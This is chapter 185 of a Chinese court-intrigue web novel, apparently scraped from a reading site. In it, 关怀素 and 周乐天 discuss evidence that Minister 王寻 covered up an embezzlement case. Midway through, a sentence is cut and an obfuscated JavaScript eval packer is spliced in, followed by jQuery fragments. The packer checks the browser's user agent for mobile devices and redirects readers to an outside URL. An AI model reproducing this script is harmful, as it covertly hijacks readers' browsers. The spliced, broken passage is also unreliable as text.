第一百八十五章 江南往事

作品:《替身嫡谋

    关怀素一开始的时候,觉得自己怀疑王寻,乃是因为私仇。


    毕竟一开始王家设计姐姐,她对王家初印象就不好。


    她一再提醒自己,不要因为私仇掩盖自己的判断。


    因此哪怕在回京被追杀的一路上,关怀素都未曾把这个事情定在王寻身上,因为王寻无论如何,对圣人忠心耿耿,他应当不会做对朝野不利的事情。


    直到赵白芷说圣人临终之前曾派人去钦州调查王寻祖籍,而且直言是去查王寻的母亲是否有过继一个孩子出去,且那孩子的姓名,与赵金白交出来的账簿里、那个中途失去记载的消失之人姓名一模一样,到了这里,关怀素觉得此事除了没有证据,已经水落石出。


    “王寻绝对有参与我娘当初掌管的粮草失踪一案,那个消失的人或许就是他的亲兄弟。”关怀素冷声说,“当年他既然就敢做这样欺君之事,隐瞒如此军机大事,说明此人胆大包天,而且对圣人并非我们想象的那般恭敬忠诚,一切以自己的私利为重,这样的人,做出什么事情,都不会让人意外。”


    关怀素沉吟一下,坦诚地对周乐天说:“只是我确实想不到最关键的事情,就是我怀疑王相,可我却不懂为何王相要如此一而再再而三地针对你,渭水边,王相为何会突然派人追杀你?当日你接闵太医而已,圣人对王相十分信重,王相没有道理拦着你啊。”


    “我起初也想不出,直到这次回京一路被追杀,见到如今局势,我才隐有猜测。”周乐天皱眉,轻声说,“我怀疑渭水边追杀,其实就和回京的追杀一样,幕后那个人,最初的目标,就是希望局势成为现在这样——先帝宾天,圣人浑浑噩噩。”


    说到这里,周乐天怕惊动什么一般,轻声说:“怀素你想,如果没有医仙,圣人没有突然被药冲了病重,那情况是怎样的?”


    情况很简单,太皇太后年迈多病,太后深居简出绝对不可能处理朝政,那最后的结果就会和赵白芷想的一样。


    “前朝倚重王相,后宫只怕也是皇后一人的地方。”关怀素闻言,叹了口气,轻声说,“等到皇后生下皇子,前朝后宫皆是王家的了。”


    周乐天点头,说:“我其实早先也怀疑过,但是圣人曾亲口跟我说,王寻此人忠君爱国,行事或许稍微偏执,但是却绝对是个真君子,因此我虽疑心,却再也没想过此事。”


    “那乐天为何突然也怀疑王相,难道就因为如今局势,王相是得益者?”关怀素好奇地问。


    “非也。”周乐天摇头,说,“王相此人精于治国,无论如何,只要先帝宾天,都会倚重于他,因此他受到倚重,我绝不会随意揣测。”


    “那你是为什么?”关怀素闻言更加好奇,说,“我似乎也是今日才和你说起我阿娘负责粮草一案。”


    周乐天点头,温声说:“你还记得我们离京之前,你让我遣人调查一位姓朱的官宦被问罪之事吗?”


    此事关怀素当然记得,当初陈渠在江南寻找清官人,找到了朱娘,朱娘自称冤情,称若是能找到贵人给父亲洗清冤屈,她什么都会去做。


    当时朱娘在李辰文身边行事顺利,关怀素便早早叫周乐天帮忙去查此事,这会子听到周乐天说起这事儿的语气,她皱眉说:“难道此事与朝中还有什么关联?”


    “正是。”周乐天点头,把一切前因后果都说了出来。


    却原来朱娘的父亲只是个江南的普通县令,当年被处**抄家问罪之后,家人都被发卖了。


    这案子瞧着明面上与任何事情都无瓜葛,但是周乐天怕此事办得不好,特地派的军伍中曾经专门做审案刑讯的老手。


    大约是因为天高皇帝远,朱县令的事儿其实办得并不十分周密,起码认识朱县令的亲朋故旧都未曾被灭口。


    过去调查的人,有女将化作朱娘,说是从外地发家了回来,与亲朋好友们一起相聚。


    因女将打扮得富贵,出手十分阔绰,就有人起了巴结之心,悄悄与女将说起朱县令那贪墨的事情有猫腻。


    “我手下这帮人就打听到了,说当年之事,朱县令当初麾下师爷应当是晓得什么,遂一路赶路去了新化府。”周乐天说到这里,叹了口气,说,“如此到了新化府,那师爷听说是朱娘来了,吓得当场就昏厥过去。”


    如此一来,众人都知道这里头肯定有事了。


    师爷家人见老人激动,就要驱逐他们,只是家中贫寒,办事之人许以重金,那老师爷最终还是把真相告诉了他们。


    “当初朱县令所谓的贪墨,并非是贪财,乃是他截获了一批人从江南运送的物资,那伙商人的物资上有吏部的戳没挖干净,叫朱县令认出来了。”周乐天叹了口气说,“朱县令严刑拷打,连夜审问那帮商人,结果查出来,这批物资是从吏部正常买下来的。”


    “什么?!”关怀素哪怕心里有底,一时都震惊地脱口而出,说,“从吏部买的?”


    周乐天点头,冷声说:“且查得清清楚楚,物资都是从吏部仓库里直接拉出来的。”


    “发卖的小吏叫什么名字?”关怀素听到这里,立刻追问,“是姓周的那个吗?”


    “是。”周乐天点头,说,“朱县令查到这里,心中知道自己只怕是查出事儿了,连夜写了折子想呈给圣人,结果还没来得及寄出,就被冤枉贪墨,下狱之后就是举家抄家灭族之祸了。”


    关怀素听到这里,登时心中感慨万分,说:“朱娘没说错,她父亲真的是个清官,她父亲是被冤枉的……”


    周乐天点头,轻声说:“我其实也不是那么笃定,到底是不是王相在背后策划这一切,但是我唯一笃定的是,在此事上,王相绝对行事有亏。反正朱县令的信,下人已经带回来,有此物证,此事绝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610713|181019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对可以细查!”


    关怀素也点头,说:“我也不敢确信到底是谁,既然如此,我们就从这里开始,把这事儿捅出去,先把水搅浑。”


    周乐天也是如此打算,他冷声说:“我也是这么想,不管如何,总不能一直挨打,且捅出来一起查!反正我这边清清白白,背后之人若是真有猫腻,那急的也是他们。”


    “是,只要局势够乱,有人总会顺水而动。”关怀素冷声说,“现在不怕对方不动,就怕那人潜伏起来。”


    二人商议一番,瞬间都觉得心中安定不少,如此各自回去休憩,等着看第二天的情况发展。


    第二日圣人还是辍朝,但是朝野之中对周乐天的攻讦日盛。


    如此连过三日,周乐天出行时人人指指点点,已经有了当年初次背上叛国骂名的架势。


    “瞧着这架势,没有人在背后指点,我怎地都不相信。”关怀素从户部下值回来,轻声对柳叶说着话。


    “姑娘,就像您说的,我不明白,怎么都要找侯爷的麻烦。”柳叶忍不住说,“侯爷如今又不管事,怎地朝中上下稍微出点事,就要拿侯爷说事儿,到底侯爷是得罪了谁啊?!”


    这话说得关怀素心中微动,她好像被触动到了什么,但是却又完全想不出来。


    正说着话呢,马车到了家里,关怀素和柳叶进了门,就看到小荷在二门口张望,看到她们登时大喜,连忙跑过来脆生生地喊:“姑娘、柳叶姐姐,宫里来人了。”


    关怀素闻言,立刻便转身往见客的花厅走,见到一个内监正在喝茶。


    那太监见到关怀素,立刻起身,笑弯了眼睛拱手说:“见过关照磨。”


    “公公多礼了。”关怀素连忙笑着说,“不知公公光临寒舍有何要事?”


    “圣人派我来,请姑娘明日参加朝会。”太监笑着说。


    关怀素大喜说:“圣人身子大好了?”


    太监点头,笑得愈发真心了几分,说:“回姑娘,多亏姑娘千里寻到医仙,医仙昨日亲口说,圣人身子稳固,接下来只需温养就可。”


    闻言关怀素彻底松了一口大气,如此赵白芷母子总算是安稳了,只要上头稳固,朝野稳定,其他事情都是小事。


    关怀素连忙道谢,而后厚赏太监,太监这才开开心心地出去了。


    回到屋里,关怀素就忍不住叹了口气。


    “姑娘,不是喜事吗?你怎地叹气?”柳叶好奇地问。


    “圣人身子好些了是好事,但是明日只怕乐天要面对许多攻讦,他心思重,说不在意,其实心中难免伤怀,只希望明日他冷静些,否则只怕要被人抓住机会生事。”关怀素轻声说。


    关怀素没想到,第二日事情的发展,果然如她所料一般。


    但是未曾想到的是,周乐天的事情还没出来,倒是她差点遭了设计。